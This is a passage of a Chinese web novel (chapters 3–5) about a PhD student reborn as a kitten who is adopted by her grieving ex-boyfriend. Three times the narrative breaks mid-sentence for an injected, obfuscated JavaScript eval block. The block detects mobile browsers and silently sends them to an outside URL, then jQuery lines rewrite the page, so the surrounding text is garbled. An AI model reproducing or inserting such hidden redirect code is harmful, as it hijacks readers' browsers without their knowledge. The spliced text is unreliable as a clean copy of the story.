《关于死后变成前男友的猫这件小事》
3. 喵喵喵
祝祺在“爱你喵”宠物医院住了一个月。
起初,她被隔离在一个小单间里,每到饭点,就有一位名叫小吴的医护姐姐来给她放饭吃。
长日漫漫,绝大部分时间她都在睡觉。要不是养过金豆,知道幼猫电池浅,耗电快,她还以为自己是在补读博时没睡够的觉。
剩下的短暂清醒时间里,她在研究如何驾驭自己的身体。
她发现,虽然自己的意识清醒地附身在小猫身上,但并不能完全地控制这具身体。
不时,小橘本能会不受控地冒出来。
比如,小吴捧着猫饭进门时:“咪咪,咪咪宝,吃饭饭啦。”
笼门打开的一瞬,祝祺听见一声绵软得不像话的:“咪呜——”
祝祺:“……”
这鬼动静,肯定不是我。
但整个单间里没有别的猫了!
越来越蓬松的小白爪也本能地踩起了奶,有节奏地开花、攥紧、再开花,拼命地向陌生人类诉说喜欢。
眼前的医护姐姐,显然已经被一脸惊恐地踩着奶的小橘猫萌晕了。
她挠挠祝祺的下巴,听小猫发出一声满足的呼噜声,柔声安抚说:“乖乖,不怕,姐姐是来给你开餐哒。”
祝祺:“……咪。”
不知道该怎么解释,她怕的不是温柔友善的医护姐姐,而是对人类和饭过分热情的她自己。
她埋头吃饭时,小吴蹲在一旁,举着手机咔咔拍照,嘴里念着:
“好可爱好可爱,在害怕和吃饭中选择了害怕地吃饭……好想偷走,亲死,会被辞退的吧,辞退也值啦,嘿嘿嘿……”
祝祺:现在是真的有点害怕了。
等详细的检查报告出来,确认祝祺是一只从头到脚趾头都完全健康的小猫咪,祝祺被小吴怀抱着,从小单间,转移到猫咪生活区,和其他寄养小猫生活在一起。
“爱你喵”宠物医院目前寄养了十几只猫,各类品种花色都有。
她发现自己可以理解同类的语言。
缅因:“你好,闻你屁股。你好,闻你屁股。你好,闻你屁股。你好,闻你屁股。……”
奶牛:“嘿新来的!有兴趣和我一起粉碎邪恶的人类政权,让地球重新变回我们爪中之物吗!”
三花:“小小发霉橘子,嗦干的芒果核,丑陋。”
蓝胖:“你可以分我点猫粮吗?我已经有整整三分钟没吃过东西了。”
缅因:“为什么不让我闻屁股?为什么不让我闻屁股?为什么不让我闻屁股?……”
祝祺惊恐后撤两步,扭头看了眼陪伴她度过隔离期的医护姐姐。
小吴笑眯眯:“小橘,要和新认识的哥哥姐姐们好好相处哦。”
好吧。
博士总不能被猫吓死。
她学着嗅闻同类的气味,分辨不同猫各自的领地,了解寄养区猫群的小圈子和阶级关系,记忆哥哥姐姐们的习性喜好,很快和新朋友们打成一片。
她年纪最小,走路都不稳,当不了妈的成年母猫争着给她梳毛,让她窝在自己温热的腹部睡觉,教她跳跃、捕猎,把她摁在怀里疯狂兔子蹬。
祝祺在母猫怀中扭曲、挣扎,咪咪惨叫,很想跑但是跑不掉。
原来她从来没体会过的母爱,是这么窒息的吗QAQ!
但她是享受的。
这是她记事以来,第一次无压力地生活,每天可以睡到自然醒,醒后还能再放松地舔舔毛,伸个懒腰,赖赖床。白天,和一堆性格古怪的新朋友互相梳毛,碰头致意,咕咕哝哝地闲聊。玩累了,头一歪,随地大小睡,等待相熟的母猫关怀地把她舔醒。
母猫舌面上的倒刺,带着肉罐头的甜香,不紧不慢地梳过她的头顶、脊背,带来一阵柔和的战栗,让她前所未有地感到安全。
也不需要为生计发愁。有背后金主葛家欢买单,每天有吃不完的粮。
偶尔,小吴还会来分猫条吃。
祝祺个头小,挤不过肥壮灵活的大猫。她只知道蹲在医护小姐姐腿边,柔长的尾巴高高竖起,不争不抢,很有礼貌地把小白爪子轻轻地搭在小吴姐姐膝头,大眼睛溜圆,泛着晶蓝色,眼尾委屈地下撇:
“咪呜。”
你知道的,我很小就离开了妈妈。
小吴:“!”
都别抢!给!小!橘!
她在宠物医院期间,没良心的葛家欢一次也没来看过她。
每天,周文真准时拨去电话,似乎是在向葛家欢汇报她的身体状态:
“特好,能吃能睡,没吃饱就嗷嗷叫,肚皮鼓得跟大枣似的。”
“性格也好,胆子大,爱玩,和其他猫相处得很融洽。”
“你到底什么时候把这只橘猫接走?你知不知道她一天吃几个罐头?我辛辛苦苦开个医院容易吗我,家底都要被她吃空了!”
祝祺:嗝。
可恶的周文真(嚼嚼嚼)你以为这个破地方我爱待吗(嚼嚼嚼)本小猫体态纤细吃相优美,能吃你多少粮(嚼嚼嚼)这么小气,跟猫都抠门,哼(嚼嚼嚼)
有时候,祝祺脑中会划过一刹那疑惑:
周文真和葛家欢竟然这么熟吗?
葛家欢一个云吸猫玩家,为什么会接触到兽医?
小猫的大脑不宜思考。
她自从变成小猫,就决定放下前尘过往,松弛疲惫大脑,享受美丽喵生。
安逸的生活终结在一个月后,深冬罕见的雨夜。
宠物医院正门探测到客人进门,发出“叮咚”一声轻响。
男人身量瘦削颀长,一袭鸦黑,肩头雨痕色泽更深,一身罩满冬雨寒气。进门后,他熟稔地将透明雨伞收拢,放置在门边的伞架上。
即便雨水微微压抑了连川身上的气息,即便数月不曾见面,祝祺还是第一时间嗅闻出熟悉的青柠洗发水气味,宛如刻在基因里的本能——
她炸毛了。
一旁胆小的蓝胖子喵喵叫着火速弹射离开。
缅因:“怎么了宝宝怎么了宝宝怎么了宝宝怎么了宝宝……”
祝祺焦虑到舔舔嘴筒子再舔舔爪。
理智上,她不怕见到前男友。
然而,身为猫的情绪感知,比人敏感太多。
连川身上的气息像在她身上引爆了一个微小的炸弹,令她刹那间情绪失控。
正门有客,周文真迎上去,热情朗声:
“我的哥,可算是把你盼来了——怎么瘦了这么多,有没有按时吃饭啊你?”
连川很淡地一笑:“我先把这个月的寄养费结一下。”
“得了,我们谁跟谁啊,小橘也没惹什么麻烦,别客气了。”周文真笑,“你能来把她带走,我就谢天谢地了。”
连川静默了一会,轻声说:“我这次来,还要请你帮忙转发一下领养信息。”
周文真笑意凝固:“什么意思?”
“我现在没有能力养猫,抱歉,文真哥。”
周文真一怔,旋即明白他的意思。
眼前的男人,周身死气沉沉,清隽面容瘦得有些脱相,笼着苍白郁色,如落在砚台上的薄雪,在融化消逝的边缘。
像是老化褪色相片上的人影,魂都生生剥落了一层。
这样的人,连自己都未必养得活。
转瞬,周文真又像不在意似的笑起来,隔着素黑的厚重大衣布料,重重一拍他骨骼突出的脊背:
“先去看看你带来的猫,验验货。”
连川点头,走向猫咪生活区。
祝祺安静地蹲坐在一张高椅上,褪去蓝膜的圆眼珠澄黄晶亮,警惕地与他对视,尾尖不耐烦地扫动着。
连川面无表情地看了猫一眼,猫警告地呲牙。
连川扭头便向周文真说:
“这不是猫。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230465|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝祺:“?”
这掉马速度是不是有点太快了?还是她身为博士的睿智眼神根本隐藏不住?
周文真也很惊讶:“这不是猫是什么?”
连川平静:“这是煤气罐。”
祝祺:“……”
周文真:“……”
经常偷偷给小橘开小灶的小吴:“……”
“我把猫带来的时候,”连川深吸一口气,“她还是只巴掌大的小耗子。”
他还记得他把小橘捧在掌心里的感觉。
小猫睡得昏沉,对人类毫不设防,摊开的肚皮里盈满羊奶,温暖柔软。像是做了什么好梦,猫在他掌心翻个滚,捧着他的大拇指轻吮着。
“橘大十八变。你又不是没养过,知道橘猫长起来有多快。”周文真大笑,“你仔细看看,不觉得她像……”
像金豆。
在连川从葛家欢处接过纸箱、低眼望见熟睡小猫的第一眼,他就这么觉得了。
如今,小橘初长成,纹理愈发鲜明,连细节处的纹路走势,都与去世的金豆如出一辙。
他甚至萌生过荒唐的猜测:
会不会,其实祝祺也像他一样舍不得金豆,甚至偷偷养了一只和金豆一模一样的小猫?
——怎么可能。
他想起祝祺最后离开时,决然而黑白分明的眼。
那是一双极为漂亮的眼睛。
他会在用力时,轻轻用手掌遮住她的下半张脸,看她动情,眼里一点点泛起恼怒的泪光。直到祝祺喘不过气来,咬他的手心。直到有一个人先害羞得受不住,闭上眼。
同学师友总笑称祝祺是无情的内卷机器。
只有他知道,祝祺那双眼含情的时候,能生动到什么地步。
他偏爱祝祺眼底的笑影,像触手可得的一段春光,偶尔含嗔,也是明媚的。
唯独分手那天,他在祝祺眼中找不到一丝他熟悉的情绪。她看他,如看自己斩落的一截断尾,眼神冷淡而陌生。
于是他明白,他和离世的金豆,都被祝祺放弃了。
“你真的舍得金豆二号被别人养走?”周文真还在撺掇。
连川又向高椅上的橘白猫望去一眼。
小猫那双琥珀般澄明的大眼睛,看看他,又看看周文真,骨碌碌转个不停。
祝祺:“喵呜——”
眼前发生的反转,信息量大到费猫脑壳。
连川对周文真摇头:“我没有养好金豆。”
“我说了很多次了,金豆串了一点金渐层,心脏病是从基因里带出来的,不是你们饲养的问题。”
周文真加快了语速,“更何况,说点迷信的,你相不相信,金豆会回来找你?”
“——万一,这就是金豆呢?你要错过他吗?”
连川沉默了。
祝祺探出脑瓜,呜哇呜哇地大叫反对。
这都21世纪了,猫死不能复生,还宣扬什么怪力乱神?!
……等等。
她自己好像就是怪力乱神。
连川眉宇似乎有一丝松动,又一次走向小橘,抬手,犹疑地将指尖递到她嘴边。
祝祺不嗅,张嘴要咬,连川熟练地躲开,反手趁猫不备,不轻不重地拍拍她的脑袋。
——是连川掌心她无比熟悉的触感和温度。
祝祺破口大骂,把这个月跟奶牛学的脏词用了个遍。
身后,生活区内的大猫们瑟瑟发抖,怂怂地压低两耳。
连川笑了。
他笑时眉心舒展,眼尾压出一个更深的弧度,右侧颊边现出一道褶,像是指甲的印痕。恰如雨霁云收,一寸晴光般的温柔。
他伸手,避开她的利齿,挠了挠她的下巴:
“跟我走吧,小夹子。”
祝祺:“?”
她怀疑连川是M。
并且她有证据。
4.喵喵喵喵
天色已晚,连川办理了简单的领养手续后,就先回家了。
走之前,周文真叫住他:“我们整天叫她小橘、咪咪,也不是事。你是她的主人,你给她取个名字吧。”
祝祺还在大叫着发泄不满:“呜哇呜哇呜哇——”
周文真:“呃,大喇叭?”
祝祺:“……”
静默一秒,猫臭着脸,暗暗磨爪子,继续呜哇呜哇干嚎。
连川想了想:“金宝吧。”
名字诞生的瞬间,人与猫之间便有了一层扯不开解不断的复杂关系。
连川走后,一直照料小橘的医护小吴满脸懊丧:“我的咪咪,呜呜。”
周文真笑说:“别伤心了,早晚有这一天的。金宝总不能一直在我们这里混住。”
小吴嘟囔:“连先生状态那么糟,能照顾好金宝吗?”
“所以才更要让他养猫。”
周文真面上的笑意渐渐淡去,很轻地叹了口气:“这人的心里,总还是要有惦念的东西,就跟风筝要有条线牵着似的。”
小吴还是有疑虑:“但我总觉得金宝好像不是很喜欢连先生……”
“没办法,连川那家伙缺少一点亲和力,猫烦狗厌的,不像我。”
周文真笑眯眯地走到猫咪生活区,屈身挠了挠高椅上的小橘下巴。
祝祺啊呜一口咬在周文真手指上。
不同于一个月前她刚到宠物医院时毫无杀伤力的小耗子形态,三个月大的小橘已生出了狩猎者的小虎牙,一口下去就是两个血洞。
一想到拜这个狗东西所赐,接下来猫生每一天睁眼就是前男友,她就巴不得一口咬下他的头。
“……”
周文真讪讪收回手:“我觉得吧,是猫的问题。”
*
翌日上午,连川再度到访。
他换了一身不易粘毛的羽绒服,背着一只米白色猫包,略长的额发简单打理过,向后一抓,露出光洁俊朗的眉骨,和一双淡灰的眼。
一进门,周文真就起哄:“精神多了嘛川儿,这样就对了。”
连川颔首:“毕竟是接猫。”
一个小生命,从今天起,就把全部的幸福交付到他的手上了。
是大日子。
进门后,连川径直往金宝所在的猫咪生活区去。
祝祺才起没多久,吃了两口粮,又呼呼大睡上了。
前一晚,她笨拙地向生活区里每一只陪伴照料过她的猫告别。
她记得哪只猫教过她捕猎的姿势,哪只猫不厌其烦地向她示范攀爬和跳跃的动作,哪只猫将她当成自己夭折的幼崽,无限柔情地舔舐她乱糟糟的毛发,放纵她窝在自己怀中取暖睡觉。
祝祺向这些猫猫前辈一一低下头去,将他们的气味深深镌刻在心里,温顺地任他们最后为自己梳梳毛。
一切完成后,她才理毛舔爪,准备入睡。
却睡不安稳。
小小的猫咪脑袋里,盘旋着太多问题。
把她送来宠物医院的人,不是葛家欢,而是挂了电话的连川?
连川得知她死讯之后,第一时间去了系楼吗?
最令她无法理解的是,连川竟然同意领养一只猫。
三个月前,正是在这家宠物医院里,他们送走了金豆。
一次血栓手术、两次心脏骤停急救和漫长的药疗,使金豆从一辆压得人喘不过气来的肉墩墩小卡车,变成抱在手里安静沉默的一团软毛。
诊疗室里,连川一直抱着金豆,低着头,躲开祝祺和周文真的注视,好像这样就能延缓送走金豆的时间。
他一落泪,金豆便拼命挣扎着抬起头,去蹭他的下颌。
拖无可拖,最后,是祝祺陪在金豆身边,紧紧握着金豆粉粉的小爪子,眼看周文真缓慢地注射药剂。
直到彻底失去意识,金豆一直在安慰她。
几日滴水未进的金豆,支起瘦弱不堪的脖子,努力地拱着她的手心。
成为猫之后,祝祺才知道这意味着什么。
这是金豆在告别前,用尽最后的力气,在她身上蹭下自己的气味。
不要忘记我呀,妈妈。
——怎么能忘记,怎么会忘记。
她记得手心里黏糊糊的小猫爪,是怎么一点点不动了,变冷了。
记得周文真将手放在她肩头轻拍安慰时的重量。
记得她离开诊疗室时,连川站在诊疗室门口,几近崩溃,颤抖着问金豆有没有痛,有没有害怕,却又不敢听回答。
连川以为她忘了,用金豆留下的一撮猫毛来刺激她,说什么逃避可耻的鬼话。
可她从来没有真正逃开过。
无论多么努力地想要把自己从凌迟一般漫长的痛苦中抽离出来,将心思投入眼下最关键的学业之中,只要看一眼与金豆有关的事物——金豆留下的球球玩具,被金豆咬烂的床脚,金豆曾经最爱吃的猫条品牌,邻居家和金豆不对付的暹罗,以及连川浸泡在思念之中的脸——她都向名为金豆的地狱里,沉一寸。
原来爱意味着允准它带来痛苦。
然而承受痛苦,是有余暇者的特权。
如果时间能倒回四年前的那个初春,她会选择走另一条路,错开校园后山那棵让她遇见金豆的树。——诚然金豆给她带来了很多快乐,但紧随在快乐之后的死亡,如同多米诺骨牌队伍末尾的最后一张,轻轻一倒,就能将一切一笔勾销。
在这种情况下,连川怎么还敢养第二只猫?
……
半梦半醒间,她感受到了人类掌心温存的触碰。
她懒洋洋地抬眼,眼底撞进一只手。
指节细长,如白玉雕成,指尖有常年练习吉他的薄茧。
又是连川。
她刚抬爪要挠,又发现连川的掌心里握着点什么,气味熟悉。
小橘发出惊喜的短促叫声:“咪!”
一旁的周文真看得目瞪口呆。
右手上昨晚被咬的伤还未痊愈,他连给连川的创口贴都准备好了,结果金宝不仅不咬他,还用脑袋去拱他的手。
“你喷猫薄荷水了?!犯规啊连川!”周文真骂骂咧咧。
连川趁金宝放松警惕,把她抱入猫包中,又将猫包护在怀里,才举起手心里攥着的小老鼠玩具,解释说:
“这是金豆以前最爱玩的玩具,我看金宝和哥哥这么像,说不定也会喜欢。”
祝祺满脸不认同地张嘴打了个哈欠,金眸微眯。
她看上的不是这只破老鼠。
而是老鼠玩具上沾染的浓重的金豆气息。
她第一次如此庆幸自己成为了猫。
比过去敏锐百倍的嗅觉,使她在嗅到小老鼠的那一刻,好像回到了初次把脸埋进金豆热烘烘胸脯的那一天。
祝祺从猫包缝隙中伸出圆手,小爪充满暗示地奋力掏掏。
连川顺从地将小老鼠玩具递进了猫包里,任小猫扑腾着玩,和周文真与小吴轻声告别,转身离开了“爱你喵”宠物医院。
*
分手三个月后,祝祺又一次回到自己曾住了四年的出租屋。
以一只小猫的形态。
连川轻轻将猫包放到地上,拉开拉链,小声鼓励她出来玩。她扒拉着猫包,探出圆溜溜的脑袋,好奇地张望——
入目的家具,都是她和连川一件件亲手添置的,却又变得异常高大,显得陌生。
地板光洁如新,沙发垫、桌椅、厨房用品都摆放得整整齐齐,较锋利的桌角处,重新包裹了防止
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238599|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小猫跑酷时磕碰的海绵防护套。猫粮、饮水机、猫砂盆一应俱全,客厅还竖着被金豆挠花了的猫抓板和猫爬架。
显然,昨晚有人紧急布置过。
连川蹲下,轻拍她的脑壳:“喜欢吗?”
祝祺:“嗷呜——”
连川弯眼一笑,两手穿过小猫柔软的腋下,将她微微举起,捧出猫包,鼓励地低声说:“去玩吧。”
祝祺落地,飞一般地直冲向猫粮碗。
从医院到家不到两公里的路,连川怕她从医院出来受刺激应激,磨磨蹭蹭走了半天,害她足足十五分钟没吃饭了。
十五分钟!什么概念!就是四分之一小时!足足九百秒!
完全是虐猫!
祝祺正要张嘴啃粮,门口,传来陌生人叩门声响。
“206业主在吗?外卖!”
连川开门:“我没有点外卖。”
外卖员指向单子备注:
「领养赠品:我最爱吃的排骨饭一份。和金宝一起好好吃饭。爱你的老周。」
连川:“……”
他接过饭,道了声谢。
连川拎饭进门,排骨香味兜兜转转,祝祺顿时觉得眼前的猫粮不香了。
想吃肉。想吃碳水。想吃高盐高热量。
想吃……连川做的饭。
总之不是眼前黑乎乎硬邦邦的工业品。
祝祺冷漠抬爪,哐当一声,打翻了饭碗。
连川没有管她的脾气。
小猫初到新的环境,不太适应,无论是绝食,乱尿,还是躲起来面壁,都很正常。只要在可控范围内,连川不打算妨碍她探索新环境。
他坐在餐桌前,动作迟缓地揭开排骨饭的包装盖。
排骨焖得软烂,纹理分明的肉几乎脱骨,卧在白米饭中,色泽金黄。碧绿小葱点缀其间,香气浓郁勾人。
从清晨起床到现在,他什么都没吃,望着眼前的排骨饭,却一点胃口也没有。
他坐在桌前发呆。
眼前,家中被他布置成了金豆还在时的样子。
像一个自欺欺人的幻梦。
明明什么都没有了。
“喵。”
一只小白爪,正试探地往他的饭碗里伸。
连川一怔。金宝不知何时跳上了桌,蹲坐着,板正地挺着雪白的毛绒胸脯。
一双澄明的大眼睛,瞳仁倒竖,一眨不眨地直视着他。
除了爪爪之外,看起来哪里都很老实,连带着那只偷饭的爪都显得理直气壮。
连川竖起手心,挡住小白手套:“婉拒了哈。”
祝祺飞速腾挪,再次向排骨饭扑去。
连川捧碗将饭移开,护着碗试图和猫讲道理:“这是我的饭,你去吃你的饭去。”
祝祺:“咪?”
什么你的我的,猫来,猫看,猫征服。
她从桌上跃下,又从另一个方向往连川怀里的饭碗扑去。
金宝以一猫之力,构建出十面埋伏、腹背夹击的效果。和眼前这只愤怒乱窜的橘白毛球相比,金豆可谓是文明标兵。
连川高举着饭碗,两步跳上沙发,占据全家最高点。
祝祺磨爪霍霍,用眼神上下扫动,估量着连川的高度,时刻准备再一次跳跃。
“……”连川无奈,以一个站在沙发上的尴尬姿势,提防着猫的动作,往嘴里扒了一大口米。
祝祺没有吃剩饭的兴趣。
她不甘地最后望了一眼连川,喵喵骂两声小气,转头去吃自己的粮了。
在第一次人猫互殴大战中获得胜利,连川差点笑出声。
下一秒,食物落入空空的腹腔,激起一阵温暖柔和的充实感,他才恍然意识到:
他在好好吃饭。
5.喵喵喵喵
吃过午饭后,人猫短暂休战。
祝祺找了个有太阳的角落窝起来。连川换上一身纯白的居家服,坐在客厅的矮沙发上,抱着吉他,随便试着新谱的曲子。
下午,有客来访,是一对年轻的男女。
祝祺警惕地探出头来。
她见过这两个人。他们是连川大学时期南国诗社的学弟学妹,本科毕业后,跟随学长进了连川所在的诗歌杂志编辑部。
——哈哈,被连川坑惨了吧。
编辑部每月出一期诗刊,几乎只有大学时期的同仁订阅,收入惨淡,游走在开天窗的边缘。总之,是一个没有面包空嚼理想度日的地方。
祝祺对男友家境一无所知的时候,以为他非得干这行,是天真的理想主义,不为五斗米折腰。
现在才知道,这是大少爷吃苦,体验生活来了。
眼前年轻的学弟妹似乎还没有向生活的毒打屈服,一副乐观积极昂扬向上的模样,热热闹闹地向连川问好。
连川站在门口,手还停在门把手上,半开着门,讶异于他们的造访,眉峰微挑:
“我还没死,多谢关心。”
学妹全不在意,一拧身便自来熟地进了门,见门口只有一双女式小企鹅拖鞋,抬脚要穿。
“等一下。”连川低身,取走拖鞋,“我另外给你们拿新鞋。”
于是从储物柜里,掏出了他从酒店顺走的两双一次性拖鞋,扔在地上。
学弟学妹:“……”
祝祺:“……”
她并不介意让别人穿自己穿过的拖鞋。
反正——她举起一只猫猫爪——现在也不合脚了嘛。
学弟学妹进门后,直入主题,说起杂志社里一个人掰成三个使,实在是忙不过来了,问连川什么时候能回去工作。
连川安静听完,说:“我还是打算把我请的长假休完。”
学弟学妹失望地垂下头。
“今天刚领养了一只小猫回来,我得在家观察她几天,抱歉。”
学妹立马兴奋起来:“哪有小猫?”
祝祺闻声,抬头挺胸,迈着优雅的小步子,从角落里缓步而出。
小猫来咯。
三个月大的橘白小猫,歪着小脸,好奇地打量来客。浑身绒毛被阳光炙烤成焦糖的颜色,两枚眼瞳反射着火烧麦穗一般的亮黄。脸盘圆圆肉肉的,看起来手感很好。
学妹不自觉地夹起嗓子:“咪咪,来姐姐这里。”
连川好意提醒:“她叫金宝,不亲人,会抓会咬,你小心一点。”
下一秒,祝祺已经就地一躺,把脸埋在学妹掌心里,翻着肚皮打呼噜了。
连川:“……”
学妹揉捏着小橘的小胖脸,幸福尖叫:“学长,猫送我猫送我猫送我求你了求你了求你了。”
连川开门送客:“完事就走,没事少来。”
学妹哭丧着脸被学弟架走。
家中又恢复了宁静。
公然打了主人脸的坏猫,正悠闲地坐在沙发边上,舔被学妹揉得乱七八糟的毛。
连川咬牙切齿:“亲别人,不亲我,是吧?”
祝祺:“咪。”
废话。
连川懒得跟猫一般见识,重新捧起吉他。
这一次,祝祺玩困了,她挣扎了两步,最终找了一个温暖安心的地方,趴下。
连川朝下看去。
一团暖烘烘的绒毛,正趴在自己穿着北极熊拖鞋的脚背上,呼噜呼噜地睡着。
他将吉他放在一边,低下身子,拨了拨小猫的耳朵尖尖,看小猫耳朵不耐烦地颤动,不由一笑。
看来这猫也不是完全没良心。
起初,脚背上躺着一只睡得香甜的小猫,是一件幸福的事情。
为了不打扰金宝,连川不再玩吉他,找了本书看。
一个小时后,事情变得棘手——他想上厕所了。
连川缓慢地挪动了一下脚。
小猫从胸腔里发出柔和的呜呜抱怨声,没醒。
连川用一只手指,轻轻拨开她抱着自己拖鞋的爪子:“金宝,爸爸要走开一下。”
这下祝祺彻底醒了。
吃前男友的软饭,已经有辱猫格。
前男友竟还敢擅自上升辈分。
是可忍孰不可忍。
最后,连川宽容大度,决定把北极熊拖鞋留给抱着不撒手的小猫,赤脚去上厕所。
等他回来时,拖鞋上的北极熊脑袋已经被咬掉了。
罪魁祸首嘴里还叼着残破的白色毛团,尖牙半露,面目凶狠,喉咙口里发出警告的呜声。
——愚蠢的人类,再蹬鼻子上脸,下场有如此物!
连川面上神情空了一瞬,随后叹了声气,蹲身抱起金宝,不顾她挥舞的爪子,在她额顶上亲了一口:
“爸爸突然走开,让你没有安全感了是不是?对不起啦。我下午不喝水了,你安心躺着吧。”
祝祺:“呜哇——”
她脏了。
连川松手的瞬间,她稳稳当当地落在地上,啊呜张嘴,咬住另一只北极熊拖鞋的头,小爪扒着鞋面,脑袋用力一甩。
——地上咕噜咕噜地滚着两只白色毛球。
这种程度的拆家,并不过分。
只是祝祺给他买的东西,拆一件,少一件了。
连川试图忽略心口强烈的窒息闷痛感,弯下腰,捡起滚落在地上的北极熊脑袋,收进抽屉里。
*
连川无论如何也不愿意承认,自己似乎在跟一只三个月大的小猫生气。
这是他的单方面冷战。他冷着脸铲了猫砂,换了饮水机里的水,又给小猫煮了些肉汤。锅都热了,他顺手也给自己做了份饭,一人一猫相安无事地吃完。
或许是下午闹累了,晚上,金宝安分很多,趴在角落里无声舔毛,不时掀起眼皮偷觑他一眼。
连川完成自己的工作,洗漱完毕,便在客厅支起自拍杆。
他略显生疏地调整光线后,抱着吉他,打开直播软件。
【主播[三十七有只猫] 已登陆直播间】
——在网络上直播唱歌,是祝祺给他出的主意。
他会玩很多乐器,最常用吉他。
他读诗时,一有灵感,就按着诗句谱上曲,唱给祝祺听。
祝祺听不懂他口中繁复的英语,也缺少音乐素养,但只要他唱,她都听得认真,撑着两腮,一眨不眨地看着他。
有一日,祝祺在学校上课,老师问起上周的讲座有没有同学录音备份,祝祺掏出手机,当众点开录音,却是连川唱歌时的声音。
满教室起哄,祝祺整个脑袋烫得发晕,慌乱地点了两下屏幕,还没关掉。
身旁坐着的段惟馨赶紧死死抱着她,大笑着不许她关录音:
“你怎么这么小气,就许你私藏,不让我们听一听!”
连老师也乐了,问祝祺要不要连一下教室的音响设备,我们全班同学听完这首歌再继续上课。
祝祺尴尬得想往窗外跳,却又忍不住高兴:
大家都喜欢连川唱歌的声音。
不是只有她一个人觉得连川好。
当晚,祝祺把这事告诉连川,连川抱着她的肩,脸埋在她肩窝里,笑得浑身抖。
祝祺气得给他两拳:“我丢脸你就这么高兴?”
“我高兴啊,”连川在她脸上胡乱亲一遍,“你的同学都知道你男朋友不仅长得帅,还会唱歌,不要轻易来和我竞争。”
祝祺也笑。
笑完,祝祺提起,如果连川不介意,可以开一个直播账号,读诗唱歌。
她的博士补贴,一月不到两千。此外,奖助学金,助教工资,导师补贴,接项目打工赚的外快,论文中刊的稿费,林林总总加起来,也就五千出头一点。
至于连川,硕士未毕业,在一个看不到未来的小杂志社里实习,放学后做兼职
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250745|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、打零工,偶尔接点写诗、翻译的工作,累得半死,赚得也少。
他俩每天吃学校食堂,无所谓钱多钱少。
可脚边卧着的大肥橘猫金豆,拥有无底洞一般难填的肚皮。
连川天生一把好声线,又会创作,只需要在每晚给她唱歌时,另外打开一个摄像头,或许就能多一笔进账。
连川想了想,同意了。
账号ID“三十七有只猫”,也是祝祺取的。
这是一个小小的文字游戏——“连川”,便是一个“卅”字,卅即三十。
“七”是祝祺。
猫,自然指的就是金豆啦。
连川把手机架在桌面上,摄像头对着他的上半身和怀里抱着的吉他,不露脸。
对面,在镜头无法捕捉的一侧,是乖乖听他唱歌的祝祺。
女孩一手半抱着大肥猫,一手捧着脸,听得专注,两眼弯弯。
连川的直播间很快吸引来了观众。
他谱的曲安静舒缓,直播间里只有陌生的旋律,没有哗众取宠的杂音,像是喧嚣都市中难得一见的晚安曲。
视频中不见脸,只见家居服下瘦而有力的男性身体轮廓,分明流畅的锁骨线条,和抱着吉他轻轻拨弄的一双手——手指纤长,色泽冷白,指甲修理得很干净,没有饰品,突起的腕骨、肘骨,小臂上纵生的青筋,已足够惹眼。
他并不看向摄像头。
反正摄像头照不到他不专心的眼神。
他只是直直地看向对面的祝祺,边唱,边止不住地笑,嗓音是不自觉的轻柔。
四年下来,“三十七有只猫”的直播间累积了小一万的粉丝。因为疏于营业,收入不算太多,给祝祺买书送花、给金豆加个罐头,还是够的。
金豆病后,他已有大半年没有打开直播软件了。
如今,身边又多了个小拖油瓶。
得为罐罐努力谋生了。
他一上线,直播间里便涌进一大批观众,弹幕里满是【失踪人口回归了】:
【呜呜呜37大大去哪了呀?没你每晚唱歌,我失眠半年了!】
【37是不是闭关去写新歌了!期待一下!】
【小哥哥露脸吧,露脸我就送嘉年华!】
……
他不回应弹幕,自顾自试了一下吉他的音,低声唱起来:
I came back from the funeral and crawled
around the apartment, crying hard,
searching for my wife’s hair.
……
这首歌很短,只有十一句词,在他喉间低回、拗转,音韵生涩发苦。
一遍唱完后,视频中,男人停顿片刻,似在休息,半分钟后,他又一次低低地将这十一句词唱了起来。
唱得比上一次还哀伤沉静,像鲸鱼的挽歌。
弹幕沉寂片刻,更快速地滚动起来:
【我的天,我来治失眠的,我怎么觉得我听得更加睡不着了?】
【我完全没听懂,但我想哭……】
【37大大怎么了,消失的半年是发生了什么吗?】
【你问我爱你有多深,火箭炮代表我的心!】
连川放下吉他,轻声说:“Jack Gilbert的短诗Married,自谱曲。祝大家晚安。”
正要下播,他突然看见弹幕里,有人提及金宝:
【快看视频角落里冒出来的小橘!好认真的听众!】
【小猫球治愈了被37大大刀到的我TVT】
【小猫一边听一边还在踩奶呢,萌出我一脸血!】
他讶异地转过脸去。
身后,金宝不知何时从角落里冒出来,蹲在一旁,仰着小脸听歌。柔长的橘纹尾巴高高竖起,尾尖前翘。
——她很喜欢。
6.喵喵喵
